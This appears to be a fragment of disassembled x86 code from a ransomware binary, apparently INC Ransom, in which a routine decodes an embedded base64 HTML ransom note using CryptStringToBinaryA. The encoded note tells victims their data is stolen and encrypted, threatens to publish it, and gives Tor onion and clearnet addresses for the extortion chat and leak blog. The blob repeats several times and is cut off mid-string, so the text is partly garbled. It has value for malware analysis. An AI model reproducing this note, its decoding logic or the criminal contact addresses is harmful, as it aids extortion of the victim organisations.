lOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7Ij5Tb21ldGltZXMgeW91IHdpbGwgaGF2ZSB0byB3YWl0IHNvbWUgdGltZSBmb3Igb3VyIHJlcGx5LCB0aGlzIGlzIGJlY2F1c2Ugd2UgaGF2ZSBhIGxvdCBvZiB3b3JrIGFuZCB3ZSBhdHRhY2sgdGVucyBvZiBjb21wYW5pZXMgYXJvdW5kIHRoZSB3b3JsZC48L3NwYW4DQogICAgICAgICAgICAgICAgPC9kaXYDQogICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgbWFyZ2luLXRvcDogMTZweDsiPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMHB4OyBmb250LXdlaWdodDogNjAwOyIQ2hhdCBUb3IgQnJvd3NlciBMaW5rOjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgbWFyZ2luLXRvcDogOHB4OyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPmh0dHA6Ly9pbmNwYXlzcDc0ZHBoY2JqeXZnMmVlcHhubDN0a2d0NW1xNXZkNHRuanVzb2lzc3ozNDJiZG5hZC5vbmlvbi88L3NwYW4DQogICAgICAgICAgICAgICAgPC9kaXYDQogICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgbWFyZ2luLXRvcDogMTZweDsiPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMHB4OyBmb250LXdlaWdodDogNjAwOyIWW91ciBwZXJzb25hbCBJRDogPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyIJWlkJTwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBm
call ebx
mov ebx, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edi, eax
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 1
push edi
push str.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
call ebx
push dword [ebp - 8]
call fcn.0040d6b1
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push 0
push 0
push eax
push esi
push 1
push edi
push str.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
call ebx
mov eax, dword [ebp - 8]
push ecx
mov ecx, esi
mov dword [0x42920c], esi
mov byte [esi + eax], 0
call fcn.004062c0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov dword [0x42920c], eax
pop edi
pop esi
pop ebx
call fcn.004096d4
mov esp, ebp
pop ebp
ret